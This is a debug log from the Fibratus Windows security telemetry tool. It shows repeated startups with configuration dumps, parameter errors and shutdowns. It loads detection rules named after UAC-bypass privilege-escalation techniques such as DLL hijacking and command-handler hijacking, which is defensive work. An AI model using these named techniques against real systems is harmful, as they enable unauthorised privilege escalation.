source=bootstrap/bootstrap.go:185 +time=2025-11-27T12:19:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T12:19:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T12:19:20+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:19:20+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:19:20+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:19:20+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:19:20+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:19:20+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:19:20+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:19:20+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:19:20+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:19:20+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:19:20+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:19:20+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:20:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T12:20:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T12:20:43+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T12:23:14+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T12:23:14+01:00 level=info msg=bootstrapping with pid 14760. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T12:23:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 use-template=>true to=>[] enabled=>false content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-fileio=>true flush-interval=>1s min-buffers=>16 stack-enrichment=>true enable-registry=>true max-buffers=>36 enable-thread=>true enable-image=>true enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true buffer-size=>512 enable-handle=>false enable-vamap=>true enable-dns=>false enable-mem=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 formatter=>text level=>info max-backups=>15 log-stdout=>true] + output ......................... [ amqp=>[ exchange=>fibratus url=>amqp://localhost:5672 passive=>false exchange-type=>topic delivery-mode=>transient tls-insecure-skip-verify=>false vhost=>/ durable=>false routing-key=>fibratus timeout=>5s enabled=>false] elasticsearch=>[ template-name=>fibratus bulk-workers=>1 gzip-compression=>false healthcheck-interval=>10s index-name=>fibratus timeout=>5s trace-log=>false healthcheck-timeout=>5s sniff=>false enabled=>false flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck=>true] eventlog=>[ level=>info enabled=>false] http=>[ enabled=>false serializer=>json timeout=>5s method=>POST enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[]] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-procs=>[] skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] fastscan=>true skip-allocs=>false enabled=>false skip-registry=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-27T12:23:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T12:23:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T12:23:21+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:23:21+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:23:21+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:23:21+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:23:21+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:23:21+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:23:21+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:23:21+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:23:21+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:23:21+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:23:21+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:23:21+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:26:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T12:26:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T12:26:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T12:27:08+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T12:27:08+01:00 level=info msg=bootstrapping with pid 2376. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T12:27:08+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ port=>25 to=>[] enabled=>false content-type=>text/html use-template=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 enable-image=>true enable-dns=>false stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-registry=>true enable-vamap=>true flush-interval=>1s enable-net=>true enable-audit-api=>true enable-threadpool=>false enable-mem=>true enable-handle=>false max-buffers=>36 min-buffers=>16 enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 max-size=>100 max-backups=>15 level=>info log-stdout=>true] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] http=>[ endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false method=>POST enable-gzip=>false enabled=>false serializer=>json] elasticsearch=>[ template-name=>fibratus enabled=>false flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck=>true gzip-compression=>false healthcheck-interval=>10s timeout=>5s healthcheck-timeout=>5s bulk-workers=>1 trace-log=>false sniff=>false index-name=>fibratus] amqp=>[ delivery-mode=>transient timeout=>5s durable=>false exchange=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 enabled=>false exchange-type=>topic routing-key=>fibratus passive=>false vhost=>/]] + pe ............................. [ read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] enabled=>false skip-files=>false skip-allocs=>false skip-registry=>false skip-mmaps=>false fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-27T12:27:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T12:27:10+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T12:27:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:27:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:27:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:27:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:27:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:27:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:27:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:27:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:27:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:27:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:27:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:27:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:27:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:27:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T12:27:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T12:27:25+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T12:28:09+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T12:28:09+01:00 level=info msg=bootstrapping with pid 348. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T12:28:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-net=>true enable-mem=>true enable-fileio=>true buffer-size=>512 enable-audit-api=>true enable-threadpool=>false enable-dns=>false min-buffers=>16 enable-image=>true enable-thread=>true enable-vamap=>true enable-registry=>true stack-enrichment=>true flush-interval=>1s max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 log-stdout=>true level=>info formatter=>text max-size=>100] + output ......................... [ eventlog=>[ enabled=>false level=>info] http=>[ tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false enabled=>false timeout=>5s method=>POST endpoints=>[]] elasticsearch=>[ template-name=>fibratus sniff=>false healthcheck=>true trace-log=>false healthcheck-timeout=>5s flush-period=>1s bulk-workers=>1 timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s enabled=>false index-name=>fibratus gzip-compression=>false] amqp=>[ passive=>false exchange=>fibratus tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus timeout=>5s exchange-type=>topic url=>amqp://localhost:5672 delivery-mode=>transient durable=>false vhost=>/] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s skip-registry=>false excluded-procs=>[] enabled=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-files=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-27T12:28:09+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T12:28:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T12:28:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:28:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:28:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:28:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:28:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:28:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:28:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:28:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:28:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:28:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:28:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T12:28:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T12:28:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T12:28:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T15:17:58+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T15:17:58+01:00 level=info msg=bootstrapping with pid 12468. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T15:17:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false use-template=>true content-type=>text/html port=>25 to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-mem=>true enable-dns=>false enable-fileio=>true enable-net=>true enable-registry=>true enable-handle=>false enable-vamap=>true stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-threadpool=>false min-buffers=>16 enable-thread=>true flush-interval=>1s enable-audit-api=>true max-buffers=>36 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text max-size=>100 max-backups=>15 log-stdout=>true max-age=>0] + output ......................... [ http=>[ tls-insecure-skip-verify=>false endpoints=>[] method=>POST enable-gzip=>false timeout=>5s serializer=>json enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ passive=>false url=>amqp://localhost:5672 vhost=>/ delivery-mode=>transient exchange=>fibratus timeout=>5s durable=>false enabled=>false exchange-type=>topic tls-insecure-skip-verify=>false routing-key=>fibratus] elasticsearch=>[ bulk-workers=>1 healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck=>true index-name=>fibratus trace-log=>false healthcheck-timeout=>5s gzip-compression=>false timeout=>5s template-name=>fibratus enabled=>false sniff=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-allocs=>false excluded-files=>[] scan-timeout=>10s skip-registry=>false skip-mmaps=>false skip-files=>false excluded-procs=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T15:17:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T15:18:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T15:19:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T15:19:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T15:19:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T15:20:07+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T15:20:07+01:00 level=info msg=bootstrapping with pid 12872. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T15:20:07+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ port=>25 use-template=>true enabled=>false to=>[] content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true enable-vamap=>true enable-threadpool=>false buffer-size=>512 max-buffers=>36 flush-interval=>1s enable-fileio=>true min-buffers=>16 enable-mem=>true enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false stack-enrichment=>true enable-net=>true enable-image=>true enable-registry=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text max-backups=>15 level=>info max-size=>100 max-age=>0] + output ......................... [ elasticsearch=>[ healthcheck=>true gzip-compression=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] bulk-workers=>1 timeout=>5s index-name=>fibratus healthcheck-timeout=>5s trace-log=>false flush-period=>1s healthcheck-interval=>10s sniff=>false enabled=>false] amqp=>[ tls-insecure-skip-verify=>false exchange=>fibratus routing-key=>fibratus durable=>false passive=>false exchange-type=>topic delivery-mode=>transient timeout=>5s url=>amqp://localhost:5672 vhost=>/ enabled=>false] http=>[ timeout=>5s enable-gzip=>false enabled=>false endpoints=>[] serializer=>json method=>POST tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] scan-timeout=>10s skip-mmaps=>false skip-allocs=>false excluded-files=>[] skip-registry=>false enabled=>false skip-files=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-27T15:20:07+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T15:20:09+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T15:22:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T15:22:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T15:22:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T15:23:09+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T15:23:09+01:00 level=info msg=bootstrapping with pid 4008. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T15:23:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html to=>[] enabled=>false use-template=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-audit-api=>true enable-registry=>true enable-dns=>false stack-enrichment=>true max-buffers=>36 enable-fileio=>true enable-threadpool=>false enable-vamap=>true min-buffers=>16 buffer-size=>512 enable-image=>true enable-thread=>true flush-interval=>1s enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-mem=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 max-size=>100 level=>info log-stdout=>true max-age=>0] + output ......................... [ elasticsearch=>[ healthcheck=>true healthcheck-timeout=>5s flush-period=>1s healthcheck-interval=>10s bulk-workers=>1 trace-log=>false sniff=>false servers=>[http://127.0.0.1:9200] timeout=>5s enabled=>false gzip-compression=>false template-name=>fibratus index-name=>fibratus] amqp=>[ timeout=>5s passive=>false exchange-type=>topic durable=>false vhost=>/ exchange=>fibratus url=>amqp://localhost:5672 enabled=>false routing-key=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient] http=>[ tls-insecure-skip-verify=>false serializer=>json timeout=>5s enabled=>false enable-gzip=>false method=>POST endpoints=>[]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-procs=>[] fastscan=>true skip-files=>false excluded-files=>[] skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T15:23:09+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T15:23:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T15:33:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T15:33:53+01:00 